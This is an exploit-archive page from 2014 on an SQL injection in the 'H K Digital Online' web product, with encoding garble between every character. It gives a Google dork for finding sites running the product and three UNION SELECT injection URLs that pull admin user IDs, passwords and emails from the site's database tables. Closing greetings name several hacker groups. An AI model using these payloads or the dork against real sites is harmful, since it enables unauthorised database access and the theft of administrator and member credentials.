Home / exploits

PDF

H K Digital Online SQL Injection

Posted on 18 February 2014

ÿþ#� �E�x�p�l�o�i�t� �A�u�t�h�o�r�:�T�h�3� �R�0�c�k�s�T�3�r�
�
�#� �E�x�p�l�o�i�t� �T�i�t�l�e�:� �H� �K� �D�i�g�i�t�a�l� �O�n�l�i�n�e� �S�Q�L� �I�n�j�e�c�t�i�o�n�
�
�#� �D�a�t�e�:� �1�5�.�0�2�.�2�0�1�4�
�
�#� �E�m�a�i�l�:� �t�h�3�r�o�c�k�s�t�3�r�@�g�m�a�i�l�.�c�o�m� �
�
�#� �V�e�n�d�o�r� �H�o�m�e�p�a�g�e�:� �h�t�t�p�:�/�/�w�w�w�.�h�k�d�i�g�i�t�a�l�o�n�l�i�n�e�.�c�o�m�/�
�
�#� �F�a�c�e�b�o�o�k�:� �F�a�c�e�b�o�o�k�.�c�o�m�/�t�h�e�e�.�r�o�c�k�s�T�e�r�
�
�#� �G�o�o�g�l�e� �D�o�r�k�:� �i�n�u�r�l�:�"�.�p�h�p�?�i�d�=�"� �i�n�t�e�x�t�:�"�P�o�w�e�r�e�d� �b�y� �H� �K� �D�i�g�i�t�a�l� �O�n�l�i�n�e�.�"�
�
�
�
�
�
�
�
�
�
�=�=�=� �M�a�t�e�r�i�a�l�'�s� �D�e�s�c�r�i�p�t�i�o�n� �=�=�=�
�
�A�n� �a�t�t�a�c�k�e�r� �c�a�n� �g�e�t� �d�a�t�a�b�a�s�e� �i�n�f�o� �b�y� �t�h�i�s� �v�u�l�n�e�r�a�b�l�i�t�y�.�
�
�
�
�
�
�
�
�P�r�o�o�f� �O�f� �C�o�n�c�e�p�t�:�
�
�
�
�
�
�1�.� �h�t�t�p�:�/�/�l�o�c�a�l�h�o�s�t�/�t�e�n�d�e�r�_�n�o�t�i�c�e�.�p�h�p�?�i�d�=�-�2�3�%�2�7�+�U�N�I�O�N�+�S�E�L�E�C�T�+�1�,�2�,�3�,�g�r�o�u�p�_�c�o�n�c�a�t�%�2�8�u�s�e�r�i�d�,�0�x�3�a�,�p�a�s�s�w�o�r�d�,�0�x�3�a�,�m�a�i�n�a�d�m�i�n�%�2�9�,�5�,�6�,�7�,�8�,�9�,�1�0�,�1�1�,�1�2�,�1�3�,�1�4�,�1�5�,�1�6�,�1�7�,�1�8�,�1�9�,�2�0�,�2�1�+�f�r�o�m�+�a�d�m�i�n�i�n�f�o�-�-�+�
�
�
�
�2�.� �h�t�t�p�:�/�/�l�o�c�a�l�h�o�s�t�/�b�l�o�g�-�i�n�n�e�r�.�p�h�p�?�i�d�=�-�3�%�2�7�+�U�N�I�O�N�+�S�E�L�E�C�T�+�1�,�2�,�3�,�4�,�g�r�o�u�p�_�c�o�n�c�a�t�%�2�8�u�s�e�r�i�d�,�0�x�3�a�,�p�a�s�s�w�o�r�d�,�0�x�3�a�,�e�m�a�i�l�%�2�9�,�6�,�7�,�8�,�9�,�1�0�,�1�1�,�1�2�+�f�r�o�m�+�a�d�m�i�n�i�n�f�o�-�-�+�
�
�
�
�3�.� �h�t�t�p�:�/�/�l�o�c�a�l�h�o�s�t�/�s�t�o�r�e�l�o�c�a�t�o�r�.�p�h�p�?�i�d�=�-�5�7�4�+�U�N�I�O�N�+�S�E�L�E�C�T�+�1�,�2�,�3�,�4�,�5�,�6�,�7�,�8�,�9�,�1�0�,�1�1�,�1�2�,�1�3�,�1�4�,�g�r�o�u�p�_�c�o�n�c�a�t�%�2�8�l�o�g�i�n�,�0�x�3�a�,�p�a�s�s�w�d�,�0�x�3�a�,�e�m�a�i�l�%�2�9�,�1�6�,�1�7�,�1�8�,�1�9�,�2�0�,�2�1�,�2�2�,�2�3�,�2�4�,�2�5�,�2�6�,�2�7�,�2�8�,�2�9�,�3�0�,�3�1�,�3�2�,�3�3�,�3�4�,�3�5�,�3�6�,�3�7�+�f�r�o�m�+�m�e�m�b�e�r�s�-�-�
�
�
�
�
�
�
�
�
�
�#� �G�r�e�e�t�z�:�B�a�c�k� �B�o�n�e�,�I�l�l�û�m�ï�n�Ã¥�t�é� �Ð�ë�m�ø�ñ�,�O�r�i�o�n�s� �H�u�n�t�e�r�,�D�a�r�k� �K�n�i�g�h�t� �S�p�a�r�d�a�,�G�h�0�s�t� �K�i�l�L�3�r�,�L�u�g�e� �R�a�c�e�r�,�C�o�d�e� �B�r�e�a�k�e�r�,�D�a�r�k�l�o�r�d�,�D�e�v�i�l� �P�r�i�n�c�e�,�R�a�k�h�a�l� �B�e�d�u�i�n�,�B�a�k�e�e�r� �B�h�a�i�,�R�0�0�7� �C�0�D�3�,�D�i�p�t�o�,�8�l�@�c�k� �3�x�p�l�o�r�3�r�,�
�
�S�p�a�r�r�o�w�,�B�d� �M�a�t�r�i�x�,�C�y�b�e�r� �B�l�a�d�e�r�,�B�D� �B�L�A�C�K� �H�A�T� �a�n�d� �A�l�l� �B�a�n�g�l�a�d�e�s�h�i� �H�a�c�k�e�r�s�

 

TOP